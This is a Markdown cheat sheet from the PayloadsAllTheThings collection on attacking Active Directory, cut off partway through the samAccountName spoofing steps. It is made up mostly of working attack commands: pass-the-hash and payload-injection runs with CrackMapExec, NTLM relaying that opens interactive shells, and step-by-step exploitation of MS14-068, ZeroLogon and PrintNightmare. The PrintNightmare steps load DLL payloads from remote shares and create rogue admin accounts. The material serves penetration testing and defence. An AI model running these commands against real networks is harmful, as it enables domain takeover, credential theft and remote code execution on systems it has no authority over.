PayloadsAllTheThings/Methodology and Resources/Active Directory Attack.md

# Active Directory Attacks

## Summary

- [Active Directory Attacks](#active-directory-attacks)
  - [Summary](#summary)
  - [Tools](#tools)
  - [Active Directory Recon](#active-directory-recon)
    - [Using BloodHound](#using-bloodhound)
    - [Using PowerView](#using-powerview)
    - [Using AD Module](#using-ad-module)
  - [Most common paths to AD compromise](#most-common-paths-to-ad-compromise)
    - [MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)](#ms14-068-microsoft-kerberos-checksum-validation-vulnerability)
    - [From CVE to SYSTEM shell on DC](#from-cve-to-system-shell-on-dc)
      - [ZeroLogon](#zerologon)
      - [PrintNightmare](#printnightmare)
      - [samAccountName spoofing](#samaccountname-spoofing)
    - [Open Shares](#open-shares)
    - [SCF and URL file attack against writeable share](#scf-and-url-file-attack-against-writeable-share)
      - [SCF Files](#scf-files)
      - [URL Files](#url-files)
      - [Windows Library Files](#windows-library-files)
      - [Windows Search Connectors Files](#windows-search-connectors-files)
    - [Passwords in SYSVOL & Group Policy Preferences](#passwords-in-sysvol-&-group-policy-preferences)
    - [Exploit Group Policy Objects GPO](#exploit-group-policy-objects-gpo)
      - [Find vulnerable GPO](#find-vulnerable-gpo)
      - [Abuse GPO with SharpGPOAbuse](#abuse-gpo-with-sharpgpoabuse)
      - [Abuse GPO with PowerGPOAbuse](#abuse-gpo-with-powergpoabuse)
      - [Abuse GPO with pyGPOAbuse](#abuse-gpo-with-pygpoabuse)
      - [Abuse GPO with PowerView](#abuse-gpo-with-powerview)
      - [Abuse GPO with StandIn](#abuse-gpo-with-standin)
    - [Dumping AD Domain Credentials](#dumping-ad-domain-credentials)
      - [Using ndtsutil](#using-ndtsutil)
      - [Using Vshadow](#using-vshadow)
      - [Using vssadmin](#using-vssadmin)
      - [Using DiskShadow (a Windows signed binary)](#using-diskshadow-a-windows-signed-binary)
      - [Using esentutl.exe](#using-esentutlexe)
      - [Extract hashes from ntds.dit](#extract-hashes-from-ntdsdit)
      - [Alternatives - modules](#alternatives---modules)
      - [Using Mimikatz DCSync](#using-mimikatz-dcsync)
      - [Using Mimikatz sekurlsa](#using-mimikatz-sekurlsa)
    - [Password spraying](#password-spraying)
      - [Kerberos pre-auth bruteforcing](#kerberos-pre-auth-bruteforcing)
      - [Spray a pre-generated passwords list](#spray-a-pre-generated-passwords-list)
      - [Spray passwords against the RDP service](#spray-passwords-against-the-rdp-service)
      - [BadPwdCount attribute](#badpwdcount-attribute)
    - [Password in AD User comment](#password-in-ad-user-comment)
    - [Reading LAPS Password](#reading-laps-password)
    - [Reading GMSA Password](#reading-gmsa-password)
    - [Pass-the-Ticket Golden Tickets](#pass-the-ticket-golden-tickets)
      - [Using Mimikatz](#using-mimikatz)
      - [Using Meterpreter](#using-meterpreter)
      - [Using a ticket on Linux](#using-a-ticket-on-linux)
    - [Pass-the-Ticket Silver Tickets](#pass-the-ticket-silver-tickets)
    - [Kerberoasting](#kerberoasting)
    - [KRB_AS_REP Roasting](#krbasrep-roasting)
    - [Shadow Credentials](#shadow-credentials)
    - [Pass-the-Hash](#pass-the-hash)
    - [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
      - [Using impacket](#using-impacket)
      - [Using Rubeus](#using-rubeus)
    - [UnPAC The Hash](#unpac-the-hash)
    - [Capturing and cracking Net-NTLMv1/NTLMv1 hashes](#capturing-and-cracking-net-ntlmv1ntlmv1-hashes)
    - [Capturing and cracking Net-NTLMv2/NTLMv2 hashes](#capturing-and-cracking-net-ntlmv2ntlmv2-hashes)
    - [Man-in-the-Middle attacks & relaying](#man-in-the-middle-attacks--relaying)
      - [MS08-068 NTLM reflection](#ms08-068-ntlm-reflection)
      - [SMB Signing Disabled and IPv4](#smb-signing-disabled-and-ipv4)
      - [SMB Signing Disabled and IPv6](#smb-signing-disabled-and-ipv6)
      - [Drop the MIC](#drop-the-mic)
      - [Ghost Potato - CVE-2019-1384](#ghost-potato---cve-2019-1384)
      - [RemotePotato0 DCOM DCE RPC relay](#remotepotato0-dcom-dce-rpc-relay)
      - [DNS Poisonning - Relay delegation with mitm6](#dns-poisonning---relay-delegation-with-mitm6)
      - [Relaying with WebDav Trick](#relaying-with-webdav-trick)
    - [Active Directory Certificate Services](#active-directory-certificate-services)
      - [ESC1 - Misconfigured Certificate Templates](#esc1---misconfigured-certificate-templates)
      - [ESC2 - Misconfigured Certificate Templates](#esc2---misconfigured-certificate-templates)
      - [ESC8 - AD CS Relay Attack](#esc8---ad-cs-relay-attack)
    - [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
    - [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces)
      - [GenericAll](#genericall)
      - [GenericWrite](#genericwrite)
      	- [GenericWrite and Remote Connection Manager](#genericwrite-and-remote-connection-manager)
      - [WriteDACL](#writedacl)
      - [WriteOwner](#writeowner)
      - [ReadLAPSPassword](#readlapspassword)
      - [ReadGMSAPassword](#readgmsapassword)
      - [ForceChangePassword](#forcechangepassword)
    - [DCOM Exploitation](#dcom-exploitation)
      - [DCOM via MMC Application Class](#dcom-via-mmc-application-class) 
      - [DCOM via Excel](#dcom-via-excel)
      - [DCOM via ShellExecute](#dcom-via-shellexecute)
    - [Trust relationship between domains](#trust-relationship-between-domains)
    - [Child Domain to Forest Compromise - SID Hijacking](#child-domain-to-forest-compromise---sid-hijacking)
    - [Forest to Forest Compromise - Trust Ticket](#forest-to-forest-compromise---trust-ticket)
    - [Kerberos Unconstrained Delegation](#kerberos-unconstrained-delegation)
      - [SpoolService Abuse with Unconstrained Delegation](#spoolservice-abuse-with-unconstrained-delegation)
      - [MS-EFSRPC Abuse with Unconstrained Delegation](#ms---efsrpc-abuse-with-unconstrained-delegation)
    - [Kerberos Constrained Delegation](#kerberos-constrained-delegation)
    - [Kerberos Resource Based Constrained Delegation](#kerberos-resource-based-constrained-delegation)
    - [Kerberos Bronze Bit Attack - CVE-2020-17049](#kerberos-bronze-bit-attack---cve-2020-17049)
    - [PrivExchange attack](#privexchange-attack)
    - [PXE Boot image attack](#pxe-boot-image-attack)
    - [DSRM Credentials](#dsrm-credentials)
    - [DNS Reconnaissance](#dns-reconnaissance)
    - [Impersonating Office 365 Users on Azure AD Connect](#impersonating-office-365-users-on-azure-ad-connect)
  - [Linux Active Directory](#linux-active-directory)
    - [CCACHE ticket reuse from /tmp](#ccache-ticket-reuse-from-tmp)
    - [CCACHE ticket reuse from keyring](#ccache-ticket-reuse-from-keyring)
    - [CCACHE ticket reuse from SSSD KCM](#ccache-ticket-reuse-from-sssd-kcm)
    - [CCACHE ticket reuse from keytab](#ccache-ticket-reuse-from-keytab)
    - [Extract accounts from /etc/krb5.keytab](#extract-accounts-from-etckrb5keytab)
  - [References](#references)

## Tools

* [Impacket](https://github.com/CoreSecurity/impacket) or the [Windows version](https://github.com/maaaaz/impacket-examples-windows)
* [Responder](https://github.com/lgandx/Responder)
* [InveighZero](https://github.com/Kevin-Robertson/InveighZero)
* [Mimikatz](https://github.com/gentilkiwi/mimikatz)
* [Ranger](https://github.com/funkandwagnalls/ranger)
* [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)
* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)

  ```powershell
  # use the latest release, CME is now a binary packaged will all its dependencies
  root@payload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip

  # execute cme (smb, winrm, mssql, ...)
  root@payload$ cme smb -L
  root@payload$ cme smb -M name_module -o VAR=DATA
  root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth
  root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares
  root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
  root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
  root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
  root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
  root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
  root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz
  root@payload$ cme mimikatz --server http --server-port 80
  ```

* [Mitm6](https://github.com/fox-it/mitm6.git)

  ```bash
  git clone https://github.com/fox-it/mitm6.git && cd mitm6
  pip install .
  mitm6 -d lab.local
  ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
  # -wh: Server hosting WPAD file (Attacker’s IP)
  # -t: Target (You cannot relay credentials to the same device that you’re spoofing)
  # -i: open an interactive shell
  ntlmrelayx.py -t ldaps://lab.local -wh attacker-wpad --delegate-access
  ```

* [ADRecon](https://github.com/sense-of-security/ADRecon)

  ```powershell
  .\ADRecon.ps1 -DomainController MYAD.net -Credential MYAD\myuser
  ```

* [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script)

    ```powershell
    powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1 
    ```

* [Ping Castle](https://github.com/vletoux/pingcastle)

    ```powershell
    pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
    pingcastle.exe --healthcheck --server domain.local
    pingcastle.exe --graph --server domain.local
    pingcastle.exe --scanner scanner_name --server domain.local
    available scanners are:aclcheck,antivirus,corruptADDatabase,foreignusers,laps_bitlocker,localadmin,ullsession,nullsession-trust,share,smb,spooler,startup
    ```

* [Kerbrute](https://github.com/ropnop/kerbrute)

    ```powershell
    ./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
    ```

* [Rubeus](https://github.com/GhostPack/Rubeus)

    ```powershell
    Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
    Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
    Rubeus.exe klist [/luid:LOGINID]
    Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
    ```

* [AutomatedLab](https://github.com/AutomatedLab/AutomatedLab)
    ```powershell
    New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV
    Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016 SERVERSTANDARD'
    Install-Lab
    Show-LabDeploymentSummary
    ```

## Active Directory Recon

### Using BloodHound

Use the correct collector
* AzureHound for Azure Active Directory
* SharpHound for local Active Directory

use [AzureHound](https://posts.specterops.io/introducing-bloodhound-4-0-the-azure-update-9b2b26c5e350)

```powershell
# require: Install-Module -name Az -AllowClobber
# require: Install-Module -name AzureADPreview -AllowClobber
Connect-AzureAD
Connect-AzAccount
. .\AzureHound.ps1
Invoke-AzureHound
```

use [BloodHound](https://github.com/BloodHoundAD/BloodHound)

```powershell
# run the collector on the machine using SharpHound.exe
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
.\SharpHound.exe -c all -d active.htb -SearchForest
.\SharpHound.exe --EncryptZip --ZipFilename export.zip
.\SharpHound.exe -c all,GPOLocalGroup
.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --JSONFolder <PathToFile>
.\SharpHound.exe -c all -d active.htb --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller 10.10.10.100
.\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23

# or run the collector on the machine using Powershell
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
Invoke-BloodHound -CollectionMethod All  -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>

# or remotely via BloodHound Python
# https://github.com/fox-it/BloodHound.py
pip install bloodhound
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
```

Then import the zip/json files into the Neo4J database and query them.

```powershell
root@payload$ apt install bloodhound 

# start BloodHound and the database
root@payload$ neo4j console
# or use docker
root@payload$ docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/bloodhound neo4j

root@payload$ ./bloodhound --no-sandbox
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
```

You can add some custom queries like [Bloodhound-Custom-Queries from @hausec](https://github.com/hausec/Bloodhound-Custom-Queries/blob/master/customqueries.json) and [BloodHoundQueries from CompassSecurity](https://github.com/CompassSecurity/BloodHoundQueries/blob/master/customqueries.json). Replace the customqueries.json file located at `/home/username/.config/bloodhound/customqueries.json` or `C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json`.


### Using PowerView
  
- **Get Current Domain:** `Get-NetDomain`
- **Enum Other Domains:** `Get-NetDomain -Domain <DomainName>`
- **Get Domain SID:** `Get-DomainSID`
- **Get Domain Policy:** 
  ```powershell
  Get-DomainPolicy

  #Will show us the policy configurations of the Domain about system access or kerberos
  (Get-DomainPolicy)."system access"
  (Get-DomainPolicy)."kerberos policy"
  ```
- **Get Domain Controlers:** 
  ```powershell
  Get-NetDomainController
  Get-NetDomainController -Domain <DomainName>
  ```
- **Enumerate Domain Users:** 
  ```powershell
  Get-NetUser
  Get-NetUser -SamAccountName <user> 
  Get-NetUser | select cn
  Get-UserProperty

  #Check last password change
  Get-UserProperty -Properties pwdlastset

  #Get a spesific "string" on a user's attribute
  Find-UserField -SearchField Description -SearchTerm "wtver"
  
  #Enumerate user logged on a machine
  Get-NetLoggedon -ComputerName <ComputerName>
  
  #Enumerate Session Information for a machine
  Get-NetSession -ComputerName <ComputerName>
  
  #Enumerate domain machines of the current/specified domain where specific users are logged into
  Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
  ```
- **Enum Domain Computers:** 
  ```powershell
  Get-NetComputer -FullData
  Get-DomainGroup

  #Enumerate Live machines 
  Get-NetComputer -Ping
  ```
- **Enum Groups and Group Members:**
  ```powershell
  Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>
  
  #Enumerate the members of a specified group of the domain
  Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty Member
  
  #Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
  Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
  ```
- **Enumerate Shares**
  ```powershell
  #Enumerate Domain Shares
  Find-DomainShare
  
  #Enumerate Domain Shares the current user has access
  Find-DomainShare -CheckShareAccess
  ```
- **Enum Group Policies:** 
  ```powershell
  Get-NetGPO

  # Shows active Policy on specified machine
  Get-NetGPO -ComputerName <Name of the PC>
  Get-NetGPOGroup

  #Get users that are part of a Machine's local Admin group
  Find-GPOComputerAdmin -ComputerName <ComputerName>
  ```
- **Enum OUs:** 
  ```powershell
  Get-NetOU -FullData 
  Get-NetGPO -GPOname <The GUID of the GPO>
  ```
- **Enum ACLs:** 
  ```powershell
  # Returns the ACLs associated with the specified account
  Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
  Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose

  #Search for interesting ACEs
  Invoke-ACLScanner -ResolveGUIDs

  #Check the ACLs associated with a specified path (e.g smb share)
  Get-PathAcl -Path "\\Path\Of\A\Share"
  ```
- **Enum Domain Trust:** 
  ```powershell
  Get-NetDomainTrust
  Get-NetDomainTrust -Domain <DomainName>
  ```
- **Enum Forest Trust:** 
  ```powershell
  Get-NetForestDomain
  Get-NetForestDomain Forest <ForestName>

  #Domains of Forest Enumeration
  Get-NetForestDomain
  Get-NetForestDomain Forest <ForestName>

  #Map the Trust of the Forest
  Get-NetForestTrust
  Get-NetDomainTrust -Forest <ForestName>
  ```
- **User Hunting:** 
  ```powershell
  #Finds all machines on the current domain where the current user has local admin access
  Find-LocalAdminAccess -Verbose

  #Find local admins on all machines of the domain:
  Invoke-EnumerateLocalAdmin -Verbose

  #Find computers were a Domain Admin OR a spesified user has a session
  Invoke-UserHunter
  Invoke-UserHunter -GroupName "RDPUsers"
  Invoke-UserHunter -Stealth

  #Confirming admin access:
  Invoke-UserHunter -CheckAccess
  ```
  :heavy_exclamation_mark: **Priv Esc to Domain Admin with User Hunting:** \
  I have local admin access on a machine -> A Domain Admin has a session on that machine -> I steal his token and impersonate him ->   
  Profit!

  [PowerView 3.0 Tricks](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993)

### Using AD Module

- **Get Current Domain:** `Get-ADDomain`
- **Enum Other Domains:** `Get-ADDomain -Identity <Domain>`
- **Get Domain SID:** `Get-DomainSID`
- **Get Domain Controlers:** 

  ```powershell
  Get-ADDomainController
  Get-ADDomainController -Identity <DomainName>
  ```
  
- **Enumerate Domain Users:** 
  ```powershell
  Get-ADUser -Filter * -Identity <user> -Properties *

  #Get a spesific "string" on a user's attribute
  Get-ADUser -Filter 'Description -like "*wtver*"' -Properties Description | select Name, Description
  ```
- **Enum Domain Computers:** 
  ```powershell
  Get-ADComputer -Filter * -Properties *
  Get-ADGroup -Filter * 
  ```
- **Enum Domain Trust:** 
  ```powershell
  Get-ADTrust -Filter *
  Get-ADTrust -Identity <DomainName>
  ```
- **Enum Forest Trust:** 
  ```powershell
  Get-ADForest
  Get-ADForest -Identity <ForestName>

  #Domains of Forest Enumeration
  (Get-ADForest).Domains
  ```
 - **Enum Local AppLocker Effective Policy:**
 ```powershell
 Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
 ```

## Most common paths to AD compromise

### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability)

This exploit require to know the user SID, you can use `rpcclient` to remotely get it or `wmi` if you have an access on the machine.

```powershell
# remote
rpcclient $> lookupnames john.smith
john.smith S-1-5-21-2923581646-3335815371-2872905324-1107 (User: 1)

# loc
wmic useraccount get name,sid
Administrator  S-1-5-21-3415849876-833628785-5197346142-500   
Guest          S-1-5-21-3415849876-833628785-5197346142-501   
Administrator  S-1-5-21-297520375-2634728305-5197346142-500   
Guest          S-1-5-21-297520375-2634728305-5197346142-501   
krbtgt         S-1-5-21-297520375-2634728305-5197346142-502   
lambda         S-1-5-21-297520375-2634728305-5197346142-1110 

# powerview
Convert-NameToSid high-sec-corp.localkrbtgt
S-1-5-21-2941561648-383941485-1389968811-502
```

```bash
Doc: https://github.com/gentilkiwi/kekeo/wiki/ms14068
```

Generate a ticket with `metasploit` or `pykek`

```powershell
Metasploit: auxiliary/admin/kerberos/ms14_068_kerberos_checksum
   Name      Current Setting                                Required  Description
   ----      ---------------                                --------  -----------
   DOMAIN    LABDOMAIN.LOCAL                                yes       The Domain (upper case) Ex: DEMO.LOCAL
   PASSWORD  P@ssw0rd                                       yes       The Domain User password
   RHOSTS    10.10.10.10                                    yes       The target address range or CIDR identifier
   RPORT     88                                             yes       The target port
   Timeout   10                                             yes       The TCP timeout to establish connection and read data
   USER      lambda                                         yes       The Domain User
   USER_SID  S-1-5-21-297520375-2634728305-5197346142-1106  yes       The Domain User SID, Ex: S-1-5-21-1755879683-3641577184-3486455962-1000
```

```powershell
# Alternative download: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
$ git clone https://github.com/SecWiki/windows-kernel-exploits
$ python ./ms14-068.py -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr> -p <clearPassword>
$ python ./ms14-068.py -u darthsidious@lab.adsecurity.org -p TheEmperor99! -s S-1-5-21-1473643419-774954089-2222329127-1110 -d adsdc02.lab.adsecurity.org
$ python ./ms14-068.py -u john.smith@pwn3d.local -s S-1-5-21-2923581646-3335815371-2872905324-1107 -d 192.168.115.10
$ python ms14-068.py -u user01@metasploitable.local -d msfdc01.metasploitable.local -p Password1 -s S-1-5-21-2928836948-3642677517-2073454066
-1105
  [+] Building AS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending AS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving AS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing AS-REP from msfdc01.metasploitable.local... Done!
  [+] Building TGS-REQ for msfdc01.metasploitable.local... Done!
  [+] Sending TGS-REQ to msfdc01.metasploitable.local... Done!
  [+] Receiving TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Parsing TGS-REP from msfdc01.metasploitable.local... Done!
  [+] Creating ccache file 'TGT_user01@metasploitable.local.ccache'... Done!
```

Then use `mimikatz` to load the ticket.

```powershell
mimikatz.exe "kerberos::ptc c:\temp\TGT_darthsidious@lab.adsecurity.org.ccache"
```

:warning: If the clock is skewed use `clock-skew.nse` script from `nmap`

```powershell
Linux> $ nmap -sV -sC 10.10.10.10
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s

Linux> sudo date -s "14 APR 2015 18:25:16" 
Windows> net time /domain /set
```

#### Mitigations

* Ensure the DCPromo process includes a patch QA step before running DCPromo that checks for installation of KB3011780. The quick and easy way to perform this check is with PowerShell: get-hotfix 3011780

### From CVE to SYSTEM shell on DC

> Sometimes you will find a Domain Controller without the latest patches installed, use the newest CVE to gain a SYSTEM shell on it. If you have a "normal user" shell on the DC you can also try to elevate your privileges using one of the methods listed in [Windows - Privilege Escalation](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md)


#### ZeroLogon

> CVE-2020-1472

White Paper from Secura : https://www.secura.com/pathtoimg.php?id=2055

Exploit steps from the white paper

1. Spoofing the client credential
2. Disabling signing and sealing
3. Spoofing a call
4. Changing a computer's AD password to null
5. From password change to domain admin
6. :warning: reset the computer's AD password in a proper way to avoid any Deny of Service

* `cve-2020-1472-exploit.py` - Python script from [dirkjanm](https://github.com/dirkjanm)
  ```powershell
	# Check (https://github.com/SecuraBV/CVE-2020-1472)
	proxychains python3 zerologon_tester.py DC01 172.16.1.5
	
  $ git clone https://github.com/dirkjanm/CVE-2020-1472.git

  # Activate a virtual env to install impacket
  $ python3 -m venv venv
  $ source venv/bin/activate
  $ pip3 install .
	
  # Exploit the CVE (https://github.com/dirkjanm/CVE-2020-1472/blob/master/cve-2020-1472-exploit.py)
  proxychains python3 cve-2020-1472-exploit.py DC01 172.16.1.5

  # Find the old NT hash of the DC
  proxychains secretsdump.py -history -just-dc-user 'DC01$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 'CORP/DC01$@DC01.CORP.LOCAL'

  # Restore password from secretsdump 
  # secretsdump will automatically dump the plaintext machine password (hex encoded) 
  # when dumping the local registry secrets on the newest version
  python restorepassword.py CORP/DC01@DC01.CORP.LOCAL -target-ip 172.16.1.5 -hexpass e6ad4c4f64e71cf8c8020aa44bbd70ee711b8dce2adecd7e0d7fd1d76d70a848c987450c5be97b230bd144f3c3
  deactivate
  ```

* `nccfsas` - .NET binary for Cobalt Strike's execute-assembly
  ```powershell
  git clone https://github.com/nccgroup/nccfsas
  # Check
  execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local

  # Resetting the machine account password
  execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -reset

  # Testing from a non Domain-joined machine
  execute-assembly SharpZeroLogon.exe win-dc01.vulncorp.local -patch

  # Now reset the password back
  ```

* `Mimikatz` - 2.2.0 20200917 Post-Zerologon
  ```powershell
  privilege::debug
  # Check for the CVE
  lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$

  # Exploit the CVE and set the computer account's password to ""
  lsadump::zerologon /target:DC01.LAB.LOCAL /account:DC01$ /exploit

  # Execute dcsync to extract some hashes
  lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:krbtgt /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm
  lsadump::dcsync /domain:LAB.LOCAL /dc:DC01.LAB.LOCAL /user:Administrator /authuser:DC01$ /authdomain:LAB /authpassword:"" /authntlm

  # Pass The Hash with the extracted Domain Admin hash
  sekurlsa::pth /user:Administrator /domain:LAB /rc4:HASH_NTLM_ADMIN

  # Use IP address instead of FQDN to force NTLM with Windows APIs 
  # Reset password to Waza1234/Waza1234/Waza1234/
  # https://github.com/gentilkiwi/mimikatz/blob/6191b5a8ea40bbd856942cbc1e48a86c3c505dd3/mimikatz/modules/kuhl_m_lsadump.c#L2584
  lsadump::postzerologon /target:10.10.10.10 /account:DC01$
  ```

#### PrintNightmare

> CVE-2021-1675 / CVE-2021-34527

The DLL will be stored in `C:\Windows\System32\spool\drivers\x64\3\`.
The exploit will execute the DLL either from the local filesystem or a remote share.

Requirements:
* **Spooler Service** enabled (Mandatory)
* Server with patches < June 2021
* DC with `Pre Windows 2000 Compatibility` group
* Server with registry key `HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint\NoWarningNoElevationOnInstall` = (DWORD) 1
* Server with registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA` = (DWORD) 0


**Detect the vulnerability**:
* Impacket - [rpcdump](https://raw.githubusercontent.com/SecureAuthCorp/impacket/master/examples/rpcdump.py)
  ```ps1
  python3 ./rpcdump.py @10.0.2.10 | egrep 'MS-RPRN|MS-PAR'
  Protocol: [MS-RPRN]: Print System Remote Protocol
  ```
* [It Was All A Dream](https://github.com/byt3bl33d3r/ItWasAllADream) 
  ```ps1
  git clone https://github.com/byt3bl33d3r/ItWasAllADream
  cd ItWasAllADream && poetry install && poetry shell
  itwasalladream -u user -p Password123 -d domain 10.10.10.10/24
  docker run -it itwasalladream -u username -p Password123 -d domain 10.10.10.10
  ```

**Trigger the exploit**: 

**NOTE**: The payload can be hosted on Impacket SMB server since [PR #1109](https://github.com/SecureAuthCorp/impacket/pull/1109): `python3 ./smbserver.py share /tmp/smb/` or using [Invoke-BuildAnonymousSMBServer](https://github.com/3gstudent/Invoke-BuildAnonymousSMBServer/blob/main/Invoke-BuildAnonymousSMBServer.ps1) : `Import-Module .\Invoke-BuildAnonymousSMBServer.ps1; Invoke-BuildAnonymousSMBServer -Path C:\Share -Mode Enable`

* [SharpNightmare](https://github.com/cube0x0/CVE-2021-1675)
  ```powershell
  # require a modified Impacket: https://github.com/cube0x0/impacket
  python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 '\\192.168.1.215\smb\addCube.dll'
  python3 ./CVE-2021-1675.py hackit.local/domain_user:Pass123@192.168.1.10 'C:\addCube.dll'
  ## LPE
  SharpPrintNightmare.exe C:\addCube.dll
  ## RCE using existing context
  SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
  ## RCE using runas /netonly
  SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll'  'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
  ```
* [Invoke-Nightmare](https://github.com/calebstewart/CVE-2021-1675)
  ```powershell
  ## LPE only (PS1 + DLL)
  Import-Module .\cve-2021-1675.ps1
  Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
  Invoke-Nightmare -DriverName "Dementor" -NewUser "d3m3nt0r" -NewPassword "AzkabanUnleashed123*" 
  Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
  ```
* [Mimikatz v2.2.0-20210709+](https://github.com/gentilkiwi/mimikatz/releases)
  ```powershell
  ## LPE
  misc::printnightmare /server:DC01 /library:C:\Users\user1\Documents\mimispool.dll
  ## RCE
  misc::printnightmare /server:CASTLE /library:\\10.0.2.12\smb\beacon.dll /authdomain:LAB /authuser:Username /authpassword:Password01 /try:50
  ```
* [PrintNightmare - @outflanknl](https://github.com/outflanknl/PrintNightmare)
  ```powershell
  PrintNightmare [target ip or hostname] [UNC path to payload Dll] [optional domain] [optional username] [optional password]
  ```

**Debug informations**

| Error  | Message             | Debug                                    |
|--------|---------------------|------------------------------------------|
| 0x5    | `rpc_s_access_denied` | Permissions on the file in the SMB share |
| 0x525  | `ERROR_NO_SUCH_USER`  | The specified account does not exist.    |
| 0x180  | unknown error code  | Share is not SMB2                        |


#### samAccountName spoofing

**Requirements**
* MachineAccountQuota > 0

**Exploitation**

0. Create a computer account
    ```powershell
    impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'ComputerPassword' -dc-host DC01 -domain-netbios domain 'domain.local/user1:complexpassword'

    powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText -Force
    powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password $($password) -Domain "domain.local" -DomainController "DomainController.domain.local" -Verbose
    ```
1. Clear the controlled machine account `servicePrincipalName` attribute
    ```ps1
    impacket@linux> addspn.py -u 'domain\user' -p 'password' -t 'ControlledComputer$' -c DomainController

